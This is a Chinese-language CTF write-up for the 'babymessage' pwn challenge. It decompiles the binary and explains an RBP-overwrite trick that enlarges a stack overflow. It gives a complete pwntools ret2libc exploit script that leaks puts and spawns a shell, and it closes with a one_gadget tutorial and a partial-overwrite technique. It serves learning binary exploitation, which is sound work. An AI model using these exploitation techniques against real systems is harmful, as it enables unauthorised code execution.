checksec
hunter@hunter:~/PWN/国赛$ checksec babymessage
[*] '/home/hunter/PWN/\xe5\x9b\xbd\xe8\xb5\x9b/babymessage'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
基本操作
IDA
main函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
menu(); // 菜单输出
work();
return 0;
}
work函数:
__int64 work()
{
signed int v1; // [rsp+Ch] [rbp-4h]
bss_mess = (char *)malloc(0x100uLL);
v1 = bss_mm + 16;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("choice: ");
__isoc99_scanf("%d", &bss_mm);
if ( bss_mm != 1 )
break;
leave_name(); // 最多读入4个字节
}
if ( bss_mm != 2 )
break;
if ( v1 > 256 )
v1 = 256;
leave_message(v1); // 读入信息到bss_buf
}
if ( bss_mm != 3 )
break;
show(v1);
}
if ( bss_mm == 4 )
break;
puts("invalid choice");
}
return 0LL;
}
leave_name函数:
__int64 leave_name()
{
puts("name: ");
bss_name[(signed int)read(0, bss_name, 4uLL)] = 0; //read函数读入4个字节到bss_name段,返回值为5 bss_name[5] = 0相当于加了个边界
puts("done!\n");
return 0LL;
}
leave_message函数:
__int64 __fastcall leave_message(unsigned int a1)
{
int v1; // ST14_4
__int64 v3; // [rsp+18h] [rbp-8h]
puts("message: ");
v1 = read(0, &v3, a1); //存在微小溢出
strncpy(bss_mess, (const char *)&v3, v1);
bss_mess[v1] = 0; //加边界截至符
puts("done!\n");
return 0LL;
}
show函数:
__int64 __fastcall show(unsigned int a1)
{
printf("%s says: ", bss_name);
write(1, bss_mess, a1);
return 0LL;
}
全局变量很多此处列出主要全局变量位置关系:
.bss:00000000006010C0 bss_mm dd ? ; DATA XREF: work+19↑r
.bss:00000000006010C0 ; work+31↑o ...
.bss:00000000006010C4 align 8
.bss:00000000006010C8 ; char *bss_mess
.bss:00000000006010C8 bss_mess dq ? ; DATA XREF: leave_message+3F↑r
.bss:00000000006010C8 ; leave_message+59↑r ...
.bss:00000000006010D0 ; _BYTE bss_name[16]
.bss:00000000006010D0 bss_name db 10h dup(?) ; DATA XREF: leave_name+15↑o
.bss:00000000006010D0 ; leave_name+2E↑o ...
.bss:00000000006010D0 _bss ends
.bss:00000000006010D0
差不多都是8个字节大小
分析
- IDA字符串表中没有system,/bin/sh,更没有后门函数。题目给出libc文件,应该是要ret2libc
- 整个程序看起来很漂亮,但是有两个刺眼的地方
- work函数中if ( v1 > 256 ) v1 = 256;这句话很完全没必要存在,加上下面:leave_message(v1);这个函数,如果v1成功等于256那么leave_message(v1)函数就存在很大的溢出量了
- leave_message(v1)函数中读入的字符数量用来覆盖RBP没问题
- 引入时钟大佬模块(doge)
- 在IDA汇编代码进入work函数中的if ( v1 > 256 )判断,发现:
var_4 = -4 在cmp时 就是利用RBP-4处地址的值来和0x100执行 ,结合f5伪代码,此处地址的值大于0x100那么==>v1 == 0x100 ,那么leave_message函数能过实现可控溢出.text:000000000040091A var_4 = dword ptr -4 ..... ..... .text:000000000040097A mov eax, cs:bss_mm .text:0000000000400980 cmp eax, 2 .text:0000000000400983 jnz short loc_4009A1 .text:0000000000400985 cmp [rbp+var_4], 100h //************************** .text:000000000040098C jle short leav_message .text:000000000040098E mov [rbp+var_4], 100h
- 而我们在执行leave_messsage模块时可以控制RBP,然后返回到work函数,也是说在leave_messsage中覆盖了RBP也就时覆盖了work函数中的RBP。
- 再进一步:cmp [rbp+var_4], 100h 时比较对象[rbp+var_4]是可控的
思路
- 第一次执行leave_messsage时构造payload使得RBP指向一个可控的位置,恰好这里使用的关键变量都是全局变量在bss段
- 在该可控位置输入字符串,这样其在bss中的二进制数可以大于256
- 再次执行leave_messsage函数
if ( v1 > 256 ) v1 = 256;这个判断就会成立,进入下面的语句使得v1==256
- 构造payload 泄露某函数真实地址
- 获取licb地址,system,/bin/sh地址,设置返回地址为start,准备get_shell
- 故技重施让v1==256
- 执行leave_messsage函数,构造payload获取shell
EXP
from pwn import*
from LibcSearcher import*
context.log_level = 'debug'
libc_0 = ELF('libc-2.27.so')
elf = ELF('babymessage')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
start = 0x0000000004006E0
pop_rdi_ret = 0x0000000000400ac3
#one_gadget_off = 0x4f3c2
one_gadget_off_0 = 0x10a45c
one_gadget_off = 0x4f3c2
ret = 0x0000000000400646
def choice(n):
sh.sendlineafter('choice: ',str(n))
def name(n):
choice(1)
sh.sendlineafter('name: ',n)
def message(n):
choice(2)
sh.send(n)
def show(n):
choice(3)
sh = process('./babymessage')
#print sh.recv()
name('cccc')
payload = 'A'*8
payload += p64(0x0000000006010D0+0x4) //
message(payload)
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(start)
message(payload)
print sh.recvuntil('done!\n\n')
puts_addr = u64(sh.recv(6).ljust(8,'\x00'))
libc = LibcSearcher('puts',puts_addr)
libc_addr = puts_addr - libc.dump('puts')
libc_addr_0 = puts_addr - libc_0.symbols['puts']
system_addr = libc_addr + libc.dump('system')
bin_sh_addr = libc_addr + libc.dump('str_bin_sh')
one_gadget_addr =libc_addr_0 + one_gadget_off_0
print "one_gadget_addr==>"+str(hex(one_gadget_addr))
print "puts_addr==>"+str(hex(puts_addr))
#print sh.recv()
name('cccc')
payload1 = 'A'*8
payload1 += p64(0x0000000006010D0+0x4)
message(payload1)
#print sh.recv()
payload1 += p64(ret)
payload1 += p64(pop_rdi_ret)
payload1 += p64(bin_sh_addr)
payload1 += p64(system_addr)
payload1 += p64(0xdeadbeef)
#gdb.attach(sh)
message(payload1)
#print sh.recv()
sh.interactive()
payload += p64(0x0000000006010D0+0x4)这里加4然后到那个if判断时会减4 :cmp [rbp+var_4], 100h。这样0x0000000006010D0地址处的值就是我们的操作数,这里就是bss_name地址。
结果:
[*] Switching to interactive mode
[DEBUG] Received 0x11 bytes:
'message: \n'
'done!\n'
'\n'
message:
done!
$ whoami
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Received 0x7 bytes:
'hunter\n'
hunter
$
EXP~~
- 针对模块式程序,我们写EXP也最好写对应的自定义函数来调用
- 面对有很多输出语句的程序别对sh.recv()太执着,context.log_level = ‘debug’可以帮忙解决(因为这个我的EXP,失败了很多次)
总结
这个题的关键就在于如何使得leave_message函数变成高危栈溢出漏洞函数,主要利用了子函数的小漏洞(此处子函数存在对RBP的修改漏洞)返回后对上级函数的影响(此处为RBP保持不变)
- 所以当没有思路时可以在汇编层思考
- 上级函数与子函数之间某些寄存器的关联(常见的就是RBP/EBP)
one_gadget工具
libc中带有很多gadget,控制程序跳转到这些位置执行并满足一定的条件就可以拿到shell。
万能one_gadget
指令:one_gadget libc文件
hunter@hunter:~/PWN/国赛$ one_gadget libc-2.27.so //上面题目的libc文件
0x4f365 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f3c2 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a45c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
可以看到这里显示出这些获取shell的函数地址偏移,只要加上libc_addr就可以用了。
注意到他们下面都有constraints 即使用条件 ,这三个中条件最容易的就是0x4f3c2 的[rsp+0x40] == NULL,也就是说在跳转到这个函数时[rsp+0x40] 栈地址处要为\x00,我们可以用gdb.attach(sh)来进行调试,如果不满足就多放几个ret调整,使得[rsp+0x40]处恰好为NULL
其他one_gadget
指令:后面加-l2参数可以找到更多的gadget。条件可能比较苛刻
hunter@hunter:~/PWN/国赛$ one_gadget libc-2.27.so -l2
0x4f365 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f3c2 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0xe58b8 execve("/bin/sh", [rbp-0x88], [rbp-0x70])
constraints:
[[rbp-0x88]] == NULL || [rbp-0x88] == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL
0xe58bf execve("/bin/sh", r10, [rbp-0x70])
constraints:
[r10] == NULL || r10 == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL
0xe58c3 execve("/bin/sh", r10, rdx)
constraints:
[r10] == NULL || r10 == NULL
[rdx] == NULL || rdx == NULL
0x10a45c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
0x10a468 execve("/bin/sh", rsi, [rax])
constraints:
[rsi] == NULL || rsi == NULL
[[rax]] == NULL || [rax] == NULL
one_gadget—near功能
指令:one_gadget libc文件 –near 某函数
hunter@hunter:~/PWN/国赛$ one_gadget libc-2.27.so --near read
[OneGadget] Gadgets near read(0x110180): //这是read的偏移
0x10a45c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
0x4f3c2 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x4f365 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
可以找到靠近某个函数的one_gadget。
一般libc基地址结尾至少三个000
hunter@hunter:~/PWN/国赛$ ldd babymessage
linux-vdso.so.1 (0x00007ffc691d1000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f069fd4d000) <===
/lib64/ld-linux-x86-64.so.2 (0x00007f06a013e000)
hunter@hunter:~/PWN/国赛$ ldd babymessage
linux-vdso.so.1 (0x00007ffc22f83000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7507911000) <======
/lib64/ld-linux-x86-64.so.2 (0x00007f7507d02000)
hunter@hunter:~/PWN/国赛$ ldd babymessage
linux-vdso.so.1 (0x00007ffc4990d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f439ca000) <======
/lib64/ld-linux-x86-64.so.2 (0x00007f7f43dbb000)
例子:
所以在程序中read函数的真实地址和第一个one_gadget就最后2字节不同。利用这一点我们可以在泄露不了libc的情况下采用尾字节覆盖的方式来强行修改read函数地址成为我们的one_gadget地址